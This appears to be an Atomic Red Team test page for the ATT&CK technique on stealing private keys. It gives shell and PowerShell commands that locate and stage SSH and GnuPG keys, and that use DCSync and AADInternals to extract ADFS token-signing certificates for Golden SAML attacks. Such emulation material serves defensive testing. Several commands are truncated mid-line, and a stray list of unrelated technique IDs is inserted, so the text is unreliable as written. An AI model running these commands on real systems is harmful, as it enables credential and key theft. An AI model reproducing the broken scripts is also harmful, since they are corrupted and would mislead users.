T1552.004 - Private Keys

Description from ATT&CK

> Adversaries may search for private key certificate files on compromised systems for insecurely stored credentials. Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures.(Citation: Wikipedia Public Key Crypto) Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc.
> Adversaries may also look in common key directories, such as `~/.ssh` for SSH keys on * nix-based systems or `C:\Users\(username)\.ssh\` on Windows. These private keys can be used to authenticate to Remote Services like SSH or for use in decrypting other collected files such as email.
>
> Adversary tools have been discovered that search compromised systems for file extensions relating to cryptographic keys and certificates.(Citation: Kaspersky Careto) (Citation: Palo Alto Prince of Persia)
>
> Some private keys require a password or passphrase for operation, so an adversary may also use Input Capture for keylogging or attempt to Brute Force the passphrase off-line.

Atomic Tests

- Atomic Test #1 - Private Keys
- Atomic Test #2 - Discover Private SSH Keys
- Atomic Test #3 - Copy Private SSH Keys with CP
- Atomic Test #4 - Copy Private SSH Keys with rsync
- Atomic Test #5 - Copy the users GnuPG directory with rsync
- Atomic Test #6 - ADFS token signing and encryption certificates theft - Local
- Atomic Test #7 - ADFS token signing and encryption certificates theft - Remote

Atomic Test #1 - Private Keys

Find private keys on the Windows file system. File extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, pfx, .cer, .p7b, .asc

Supported Platforms: Windows

T1037.001
T1037.002
T1037.004
T1037.005
T1039
T1040

auto_generated_guid: 520ce462-7ca7-441e-b5a5-f8347f632696

Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```
dir c:\ /b /s .key | findstr /e .key
```

Atomic Test #2 - Discover Private SSH Keys

Discover private SSH keys on a macOS or Linux system.

Supported Platforms: macOS, Linux

auto_generated_guid: 46959285-906d-40fa-9437-5a439accd878

Inputs:

Name	Description	Type	Default Value
search_path	Path where to start searching from.	Path	/
output_file	Output file containing locations of SSH key files	Path	/tmp/keyfile_locations.txt

Attack Commands: Run with `sh`!

```
find #{search_path} -name id_rsa >> #{output_file}
```

Cleanup Commands:

```
rm #{output_file}
```

Atomic Test #3 - Copy Private SSH Keys with CP

Copy private SSH keys on a Linux system to a staging folder using the `cp` command.

Supported Platforms: Linux

auto_generated_guid: 7c247dc7-5128-4643-907b-73a76d9135c3

Inputs:

Name	Description	Type	Default Value
search_path	Path where to start searching from.	Path	/
output_folder	Output folder containing copies of SSH private key files	Path	/tmp/art-staging

Attack Commands: Run with `sh`!

```
mkdir #{output_folder}
find #{search_path} -name id_rsa -exec cp --parents {} #{output_folder}
```

Cleanup Commands:

```
rm -rf #{output_folder}
```

Atomic Test #4 - Copy Private SSH Keys with rsync

Copy private SSH keys on a Linux or macOS system to a staging folder using the `rsync` command.

Supported Platforms: macOS, Linux

auto_generated_guid: 864bb0b2-6bb5-489a-b43b-a77b3a16d68a

Inputs:

Name	Description	Type	Default Value
search_path	Path where to start searching from.	Path	/
output_folder	Output folder containing copies of SSH private key files	Path	/tmp/art-staging

Attack Commands: Run with `sh`!

```
mkdir #{output_folder}
find #{search_path} -name id_rsa -exec rsync -R {} #{output_folder} \;
```

Cleanup Commands:

```
rm -rf #{output_folder}
```

Atomic Test #5 - Copy the users GnuPG directory with rsync

Copy the users GnuPG (.gnupg) directory on a Mac or Linux system to a staging folder using the `rsync` command.

Supported Platforms: macOS, Linux

auto_generated_guid: 2a5a0601-f5fb-4e2e-aa09-73282ae6afca

Inputs:

Name	Description	Type	Default Value
search_path	Path where to start searching from	Path	/
output_folder	Output folder containing a copy of the .gnupg directory	Path	/tmp/GnuPG

Attack Commands: Run with `sh`!

```
mkdir #{output_folder}
find #{search_path} -type d -name '.gnupg' -exec rsync -Rr {} #{output_f
```

Cleanup Commands:

```
rm -rf #{output_folder}
```

Atomic Test #6 - ADFS token signing and encryption certificates theft - Local

Retrieve ADFS token signing and encrypting certificates. This is a precursor to the Golden SAML attack (T1606.002). You must be signed in as Administrator on an ADFS server. Based on https://o365blog.com/post/adfs/ and https://github.com/fireeye/ADFSDump.

Supported Platforms: Windows

auto_generated_guid: 78e95057-d429-4e66-8f82-0f060c1ac96f

Attack Commands: Run with `powershell`!

```
Import-Module AADInternals -Force
Export-AADIntADFSCertificates
Get-ChildItem | Where-Object {$_ -like "ADFS*"}
Write-Host "`nCertificates retrieved successfully"
```

Cleanup Commands:

```
Remove-Item -Path ".\ADFS_encryption.pfx" -ErrorAction Ignore
Remove-Item -Path ".\ADFS_signing.pfx" -ErrorAction Ignore
```

Dependencies: Run with `powershell`!

Description: AADInternals module must be installed.

Check Prereq Commands:

```
if (Get-Module AADInternals) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
Install-Module -Name AADInternals -Force
```

Atomic Test #7 - ADFS token signing and encryption certificates theft - Remote

Retrieve ADFS token signing and encrypting certificates. This is a precursor to the Golden SAML attack (T1606.002). You must be signed in as a Domain Administrators user on a domain-joined computer. Based on https://o365blog.com/post/adfs/ and https://github.com/fireeye/ADFSDump.

Supported Platforms: Windows

auto_generated_guid: cab413d8-9e4a-4b8d-9b84-c985bd73a442

Inputs:

Name	Description	Type	Default Value
adfs_service_account_name	Name of the ADFS service account	String	adfs_svc

replication_user	Username with replication rights. It can be the Domain Admin running the script	String	Administrator
replication_password	Password of replication_username	String	ReallyStrongPassword
adfs_server_name	Name of an ADFS server	String	sts.contoso.com

Attack Commands: Run with `powershell`!

```
Import-Module ActiveDirectory -Force
Import-Module AADInternals -Force | Out-Null
#Get Configuration
$dcServerName = (Get-ADDomainController).HostName
$svc = Get-ADObject -filter * -Properties objectguid,objectsid | Where-O
$PWord = ConvertTo-SecureString -String "#{replication_password}" -AsPla
$Credential = New-Object -TypeName System.Management.Automation.PSCreden
# use DCSync to fetch the ADFS service account's NT hash
$hash = Get-AADIntADUserNTHash -ObjectGuid $svc.ObjectGuid -Credentials
$ADFSConfig = Export-AADIntADFSConfiguration -Hash $hash -SID $svc.Objec
# Get certificates decryption key
$Configuration = [xml]$ADFSConfig
$group = $Configuration.ServiceSettingsData.PolicyStore.DkmSettings.Grou
$container = $Configuration.ServiceSettingsData.PolicyStore.DkmSettings.
$parent = $Configuration.ServiceSettingsData.PolicyStore.DkmSettings.Par
$base = "LDAP://CN=$group,$container,$parent"
$ADSearch = [System.DirectoryServices.DirectorySearcher]::new([System.Di
$ADSearch.Filter = '(name=CryptoPolicy)'
$ADSearch.PropertiesToLoad.Clear()
$ADSearch.PropertiesToLoad.Add("displayName") | Out-Null
$aduser = $ADSearch.FindOne()
$keyObjectGuid = $ADUser.Properties["displayName"]
$ADSearch.PropertiesToLoad.Clear()
$ADSearch.PropertiesToLoad.Add("thumbnailphoto") | Out-Null
$ADSearch.Filter="(l=$keyObjectGuid)"
$aduser=$ADSearch.FindOne()
$key=[byte[]]$aduser.Properties["thumbnailphoto"][0]
# Get encrypted certificates from configuration and decrypt them
Export-AADIntADFSCertificates -Configuration $ADFSConfig -Key $key
Get-ChildItem | Where-Object {$_ -like "ADFS*"}
Write-Host "`nCertificates retrieved successfully"
```

Cleanup Commands:

```
Remove-Item -Path ".\ADFS_encryption.pfx" -ErrorAction Ignore
Remove-Item -Path ".\ADFS_signing.pfx" -ErrorAction Ignore
```

Dependencies: Run with `powershell`!

Description: AADInternals and ActiveDirectory modules must be installed.

Check Prereq Commands:

```
if ($(Get-Module AADInternals) -or $(Get-Module -ListAvailable -Name Act
```

Get Prereq Commands:

```
Install-Module -Name AADInternals -Force
```